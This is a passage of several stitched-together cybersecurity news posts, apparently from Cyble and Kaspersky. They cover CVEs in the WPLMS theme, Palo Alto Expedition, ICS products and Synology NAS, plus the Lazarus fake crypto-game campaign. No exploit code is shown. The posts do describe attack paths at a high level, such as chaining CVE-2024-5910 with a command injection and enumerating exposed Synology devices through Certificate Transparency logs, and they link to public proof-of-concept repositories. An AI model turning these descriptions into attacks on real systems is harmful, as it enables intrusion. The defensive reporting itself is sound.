        7. Isolate WordPress Installations: For sites heavily dependent on the WPLMS theme, consider isolating the installation in a separate, highly controlled environment to reduce the risk of lateral movement if exploited. 

        Conclusion 

        The CVE-2024-10470 vulnerability in the WPLMS theme for WordPress represents a severe security threat to affected websites. By allowing unauthenticated file deletion, this flaw poses risks of unauthorized access, remote code execution, and potential full compromise of WordPress installations. 

        Administrators are urged to take immediate steps to secure their systems, including deactivating the theme if feasible, implementing access controls, and applying security patches as soon as they are available. 

        Following these recommendations, organizations can mitigate potential exploitation and protect their WordPress environments from unauthorized access and service disruption. 

        Source: 

        https://nvd.nist.gov/vuln/detail/CVE-2024-10470
        https://github.com/RandomRobbieBF/CVE-2024-10470
        https://themeforest.net/item/wplms-learning-management-system/6780226
        https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/wplms/wplms-learning-management-system-for-wordpress-4962-unauthenticated-arbitrary-file-read-and-deletion
        https://www.wordfence.com/threat-intel/vulnerabilities/researchers/friderika-baranyai

        The post Path Traversal Vulnerability in WPLMS WordPress Theme Exposes Websites to RCE  appeared first on Cyble.

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        Life on a crooked RedLine: Analyzing the infamous infostealer’s backend

        Following the takedown of RedLine Stealer by international authorities, ESET researchers are publicly releasing their research into the infostealer’s backend modules

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        CISA Finds Palo Alto Networks’ CVE-2024-5910 Exploited in the Wild

        Palo Alto

        Overview

        The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Thursday alerted federal agencies regarding active exploitation of a critical missing authentication vulnerability in Palo Alto Networks’ Expedition, a tool widely used by administrators for firewall migration and configuration management.

        This flaw, designated CVE-2024-5910, has been actively exploited by attackers since its patch release in July, underscoring the urgency for immediate remediation.

        Expedition is a popular migration tool designed to assist administrators in transitioning firewall configurations from vendors such as Check Point and Cisco to Palo Alto’s PAN-OS. However, due to a missing authentication mechanism, this tool now presents a significant risk for compromised credentials and potentially severe network intrusions.

        What is CVE-2024-5910 Vulnerability

        The CVE-2024-5910 vulnerability in Palo Alto Networks’ Expedition tool is a missing authentication flaw, which allows an attacker with network access to exploit the vulnerability and take over an admin account.

        Once exploited, attackers can potentially gain access to sensitive configuration secrets, credentials, and other data stored within the tool. This flaw carries a critical CVSSv4.0 base score of 9.3.

        According to Palo Alto Networks, only Expedition versions below 1.2.92 are vulnerable, while all versions from 1.2.92 and onward are protected against this flaw. As CISA emphasized, the lack of authentication on such a critical function poses severe security risks, especially for government and enterprise environments relying on Expedition for firewall migration and tuning.

        Technical Details and Vulnerability Summary

        • Vulnerability: CVE-2024-5910 (Missing Authentication for Critical Function)
        • Severity: CRITICAL (CVSSv4.0 Score: 9.3)
        • Affected Versions: Expedition versions below 1.2.92
        • Unaffected Versions: Expedition 1.2.92 and later
        • Weakness Type: CWE-306, Missing Authentication for Critical Function
        • Impact: Admin account takeover, access to sensitive configuration data, potential firewall control

        Likely Reason for Exploitation of CVE-2024-5910

        Although Palo Alto Networks initially released a patch in July to fix CVE-2024-5910, the exploitation attempts likely escalated when security researcher Zach Hanley from Horizon3.ai released a proof-of-concept (PoC) in October.

        This PoC showed how CVE-2024-5910 admin reset vulnerability could be chained with another command injection vulnerability – CVE-2024-9464. This combination allows for unauthenticated, arbitrary command execution on vulnerable Expedition servers, enabling attackers to execute commands remotely.

        This chained vulnerability scenario magnifies the risk, as attackers can exploit the admin reset vulnerability to ultimately compromise PAN-OS firewall admin accounts, providing full control over firewall configurations and potentially allowing access to sensitive network areas.

        CISA’s Known Exploited Vulnerabilities Catalog Update

        Adding to the urgency, CISA has included CVE-2024-5910 in its Known Exploited Vulnerabilities (KEV) Catalog. This addition mandates all U.S. federal agencies to secure vulnerable Expedition servers against potential attacks by November 28. This move underscores the federal directive for securing essential digital infrastructure against known vulnerabilities, especially those that facilitate admin credential resets and remote command execution.

        Recommendations and Mitigations

        To secure systems against this exploit, it is strongly recommended that administrators:

        1. Upgrade Expedition to Version 1.2.92 or Later: This release addresses CVE-2024-5910 and subsequent vulnerabilities, providing a robust safeguard against admin account takeover and unauthorized access.
        2. Rotate All Credentials Post-Upgrade: After updating to the latest version, administrators should rotate all Expedition usernames, passwords, and API keys. Additionally, all firewall usernames, passwords, and API keys processed through Expedition should be reset to prevent any potential misuse of compromised credentials.
        3. Restrict Network Access: As a mitigating measure, organizations unable to immediately apply the patch should restrict network access to Expedition servers to authorized users and hosts only. Network segmentation and access control lists (ACLs) should be employed to limit exposure.

        Conclusion

        The exploitation of CVE-2024-5910 exemplifies the persistent challenge organizations face in securing digital tools that facilitate network management and firewall configuration. Regular patching, vigilant credential management, and access control are fundamental to safeguarding critical infrastructure against similar vulnerabilities.

        With CISA actively monitoring this threat and urging patching compliance, addressing this vulnerability is essential not only for regulatory compliance but for maintaining network security integrity.

        By upgrading to the latest version of Expedition and implementing the outlined mitigations, organizations can strengthen their defenses against these specific exploits and prevent unauthorized access to network configurations.

        Sources:

        https://www.cisa.gov/known-exploited-vulnerabilities-catalog?search_api_fulltext=CVE-2024-5910&field_date_added_wrapper=all&field_cve=&sort_by=field_date_added&items_per_page=20&url=

        https://security.paloaltonetworks.com/CVE-2024-5910

        https://github.com/horizon3ai/CVE-2024-9464

        The post CISA Finds Palo Alto Networks’ CVE-2024-5910 Exploited in the Wild appeared first on Cyble.

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        Kaspersky uncovers a crypto game created by Lazarus APT | Kaspersky official blog

        Battle City, colloquially known as “that tank game”, is a symbol of a bygone era. Some 30 years ago, gamers would pop a cartridge into their console, settle in front of a bulky TV, and obliterate waves of enemy tanks until the screen gave out.

        Today, the world’s a different place, but tank games remain popular. Modern iterations offer gamers not just the thrill of gameplay but also the chance to earn NFTs. Cybercriminals too have something to offer: a sophisticated attack targeting crypto-gaming enthusiasts.

        Backdoor and zero-day exploit in Google Chrome

        This story begins in February 2024, when our security solution detected the Manuscrypt backdoor on a user’s computer in Russia. We’re very familiar with this backdoor; various versions of it have been used by the Lazarus APT group since at least 2013. So, given we already know the main tool and methods used by the attackers — what’s so special about this particular incident?

        The thing is that these hackers typically target large organizations like banks, IT companies, universities, and even government agencies. But this time, Lazarus hit an individual user, planting a backdoor on a personal computer! The cybercriminals lured the victim to a game site and thereby gained complete access to their system. Three things made this possible:

        • The victim’s irresistible desire to play their favorite tank game in a new format
        • A zero-day vulnerability in Google Chrome
        • An exploit that allowed remote code execution in the Google Chrome process

        Before you start to worry, relax: Google has since released a browser update, blocked the tank game’s website, and thanked the Kaspersky security researchers. But just in case, our products detect both the Manuscrypt backdoor and the exploit. We’ve delved into the details of this story on the Securelist blog.

        Fake accounts

        At the start of the investigation, we thought the group had gone to extraordinary lengths this time: “Did they actually create an entire game just for a scam?” But we soon worked out what they’d really done. The cybercriminals based their game — DeTankZone — on the existing game DeFiTankLand. They really went all out, stealing the source code of DeFiTankLand and creating fake social media accounts for their counterfeit.

        Around the same time, in March 2024, the price of the DefitankLand (sic) cryptocurrency plummeted — the developers of the original game announced that their cold wallet had been hacked, and “someone” had stolen $20,000. The identity of this “someone” remains a mystery. The developers believe it was an insider, but we suspect that the ever-present tentacles of Lazarus are involved.

        Differences between the fake and the original are minimal

        Differences between the fake and the original are minimal

        The cybercriminals orchestrated a full-blown promotion campaign for their game: they boosted follower counts on X (formerly Twitter), sent collaboration offers to hundreds of cryptocurrency influencers (also potential victims), created premium LinkedIn accounts, and organized waves of phishing emails. As a result, the fake game got even more traction than the original (6000 followers on X, versus 5000 for the original game’s account).

        Social media content created by AI with the help of graphic designers

        Social media content created by AI with the help of graphic designers

        How we played tanks

        Now for the most fun part…

        The malicious site that Lazarus lured their victims to offered a chance, not only to “try out” a zero-day browser exploit, but also to play a beta version of the game. Now, here at Kaspersky, we respect the classics, so we couldn’t resist having a go on this promising new version. We downloaded an archive that seemed completely legitimate: 400MB in size, correct file structure, logos, UI elements, and 3D model textures. Boot her up!

        The DeTankZone start menu greeted us with a prompt to enter an email address and password. We first tried logging in using common passwords like “12345” and “password” but that doesn’t work. “Fine, then”, we think. “We’ll just register a new account”. Again, no luck — the system wouldn’t let us play.

        The start menu inspires confidence with a seemingly legitimate login form

        The start menu inspires confidence with a seemingly legitimate login form

        So why were there 3D model textures and other files in the game archive? Could they really have been other components of the malware? Actually, it wasn’t that bad. We reverse-engineered the code and discovered elements responsible for the connection to the game server — which, for this fake version, was non-functional. So, in theory, the game was still playable. A bit of time spent, a little programming, and voilà — we replace the hackers’ server with our own, and the red tank “Boris” enters the arena.

        The game reminded us of shareware games from 20 years ago — which made all the effort worthwhile

        The game reminded us of shareware games from 20 years ago — which made all the effort worthwhile

        Lessons from this attack

        The key takeaway here is that even seemingly harmless web links can end up with your entire computer being hijacked. Cybercriminals are constantly refining their tactics and methods. Lazarus is already using generative AI with some success, meaning we can expect even more sophisticated attacks involving it in the future.

        Security solutions are also evolving with effective integration of AI — learn more here and here. All ordinary internet users have to do is make sure their devices are protected, and stay informed about the latest scams. Fortunately, the Kaspersky Daily blog makes this easy — subscribe to stay updated…

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        Weekly ICS Vulnerability Intelligence Report: Rockwell Automation, Delta Electronics, Solar-Log

        Vulnerability

        Overview

        Cyble Research & Intelligence Labs (CRIL) has investigated significant ICS vulnerabilities this week, providing essential insights derived from advisories issued by the Cybersecurity and Infrastructure Security Agency (CISA). This week’s report highlights multiple vulnerabilities across critical ICS products, with specific focus on those from Rockwell Automation, Delta Electronics, and Solar-Log.

        CISA released three security advisories addressing four ICS vulnerabilities across these products, underscoring the urgent need for mitigation.

        Among the most notable is a Cross-Site Scripting (XSS) flaw in Solar-Log Base 15, a widely used photovoltaic energy management product, which poses heightened risks due to internet-facing deployments identified by Cyble’s ODIN scanner.

        ICS Vulnerabilities Overview

        CRIL has pinpointed the following critical ICS vulnerabilities requiring immediate action:

        • CVE-2023-46344Solar-Log Base 15
          • Type: Cross-Site Scripting (XSS)
          • Severity: Medium
          • Description: This vulnerability allows unauthorized access through internet-facing instances, enabling attackers to potentially compromise device security and functionality. Cyble’s ODIN scanner identified a significant number of Solar-Log Base 15 devices deployed in Germany, emphasizing the need for prompt patching.
          • Patch available here.

        • CVE-2024-10456Delta Electronics InfraSuite Device Master
          • Type: Deserialization of Untrusted Data
          • Severity: Critical
          • Description: The Delta InfraSuite Device Master vulnerability allows critical systems to process untrusted data, which could lead to unauthorized access or system manipulation. This vulnerability impacts essential operational systems, necessitating immediate patching.
          • Patch available here.

        • CVE-2024-10386Rockwell Automation ThinManager
          • Type: Missing Authentication for Critical Function
          • Severity: Critical
          • Description: Rockwell Automation’s ThinManager vulnerability allows unauthorized users to access sensitive systems without proper authentication, potentially exposing operational systems to attacks. This flaw requires urgent attention due to its impact on operational continuity.
          • Patch available here.

        • CVE-2024-10387Rockwell Automation ThinManager
          • Type: Out-of-Bounds Read
          • Severity: Medium
          • Description: This vulnerability could allow unauthorized data access, which can lead to security breaches in operational systems if left unpatched.
          • Patch available here.

        The severity overview indicates that these vulnerabilities span medium to critical levels, affecting critical infrastructure and necessitating prioritized mitigation.

        Figure 1. Sectors impacted due to these vulnerabilities. (Source: CRIL)

        Recommendations and Mitigations

        To address these vulnerabilities effectively, organizations should consider the following best practices:

        1. Stay Updated: Regularly monitor security advisories from vendors and regulatory bodies to stay informed of critical patches and vulnerabilities.
        2. Risk-Based Vulnerability Management: Implement a risk-focused approach to manage and patch vulnerabilities based on their potential impact, especially for internet-facing ICS components.
        3. Network Segmentation: Isolate critical assets using effective network segmentation to prevent lateral movement and reconnaissance attempts by potential attackers.
        4. Continuous Vulnerability Assessments: Conduct regular vulnerability assessments, audits, and penetration testing to proactively identify and fix security loopholes.
        5. Utilize Software Bill of Materials (SBOM): Maintain visibility into software components, libraries, and dependencies to detect vulnerabilities promptly.
        6. Incident Response Preparedness: Develop and routinely test a robust incident response plan, ensuring it is aligned with the latest threat landscape.
        7. Cybersecurity Training: Conduct ongoing training programs for employees, particularly those with access to OT systems, covering threat recognition, authentication protocols, and security best practices.

        Conclusion

        The vulnerabilities highlighted in this ICS intelligence report call for swift action from organizations to mitigate potential security risks. With threats evolving rapidly and exploit attempts on the rise, maintaining a proactive stance is essential. By prioritizing the recommendations and implementing necessary patches, organizations can safeguard critical infrastructure, enhance operational resilience, and minimize the risk of exploitation.

        Source:

        https://www.cisa.gov/news-events/cybersecurity-advisories

        The post Weekly ICS Vulnerability Intelligence Report: Rockwell Automation, Delta Electronics, Solar-Log appeared first on Cyble.

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        Critical Zero-Click Vulnerability in Synology NAS Devices Needs Urgent Patching

        Vulnerability

        Overview

        A recently discovered high-severity vulnerability, tracked as CVE-2024-10443 and dubbed “RISK:STATION,” poses a significant threat to Synology NAS users worldwide.

        The vulnerability, affecting Synology DiskStation and BeeStation models, allows remote code execution without user interaction, heightening the potential for malicious exploitation.

        CERT-In has released an advisory urging Synology users to apply critical security patches immediately to secure their devices and prevent unauthorized access.

        Affected Systems and Risk Assessment

        The flaw specifically impacts Synology Photos and BeePhotos components, which come pre-installed on many Synology NAS products. Vulnerable versions include:

        • BeePhotos for BeeStation OS 1.1 – versions below 1.1.0-10053
        • BeePhotos for BeeStation OS 1.0 – versions below 1.0.2-10026
        • Synology Photos 1.7 for DSM 7.2 – versions below 1.7.0-0795
        • Synology Photos 1.6 for DSM 7.2 – versions below 1.6.2-0720

        Given that NAS devices are highly valuable targets in ransomware attacks, the risks associated with this vulnerability are extensive, including data theft, malware installation, and unauthorized system access.

        System owners using affected versions are encouraged to upgrade to secure versions immediately.

        Impact and Exploitation Risks

        The “RISK:STATION” vulnerability represents an “unauthenticated zero-click” attack vector. Attackers exploiting this flaw can gain root-level control without any user interaction.

        Synology’s QuickConnect feature, a remote-access service, further increases device exposure, as it allows attackers to reach NAS devices even behind firewalls. According to the researchers who were credited with finding this zero-click bug, this flaw carries a high potential for misuse and could impact an estimated one to two million devices globally.

        Device Exposure and Enumeration Concerns

        The vulnerability’s severity is amplified by Synology’s QuickConnect feature’s extensive reach. This service provides devices with a unique subdomain that enables remote access, even bypassing firewalls and NAT configurations.

        Due to the ease of obtaining these subdomains through Certificate Transparency logs, adversaries can readily enumerate exposed Synology devices. QuickConnect domains often contain identifiable names or locations, raising privacy concerns and potentially making it easier for attackers to prioritize targets.

        Mitigations and Recommended Actions

        Synology has issued patches that effectively neutralize this vulnerability, covering both the SynologyPhotos and BeePhotos applications. Users should ensure they apply the following updates:

        • For Synology DiskStation (DSM 7.2):

        • Synology Photos 1.7 – Update to version 1.7.0-0795
        • Synology Photos 1.6 – Update to version 1.6.2-0720

        • For Synology BeeStation:

        • BeePhotos 1.1 – Update to version 1.1.0-10053
        • BeePhotos 1.0 – Update to version 1.0.2-10026

        Alternatively, users can mitigate exposure by disabling QuickConnect, blocking ports 5000 and 5001, and disabling the SynologyPhotos or BeePhotos components if not actively in use.

        Although these actions prevent internet-based exploitation, they do not secure devices within local networks, so a firmware update remains the most effective solution.

        Conclusion

        The CVE-2024-10443 vulnerability in Synology NAS devices showcases the need for proactive patching, particularly for high-value, internet-exposed assets. Synology users are urged to follow the recommended upgrade steps or apply alternative mitigation measures to secure their devices from exploitation. By addressing these vulnerabilities promptly, organizations can reduce the likelihood of unauthorized access, ransomware attacks, and data breaches on their network-attached storage devices.

        Source:

        https://www.cert-in.org.in

        https://www.synology.com/en-global/security/advisory/Synology_SA_24_18

        https://www.synology.com/en-global/security/advisory/Synology_SA_24_19

        https://www.midnightblue.nl/research/riskstation

        The post Critical Zero-Click Vulnerability in Synology NAS Devices Needs Urgent Patching appeared first on Cyble.

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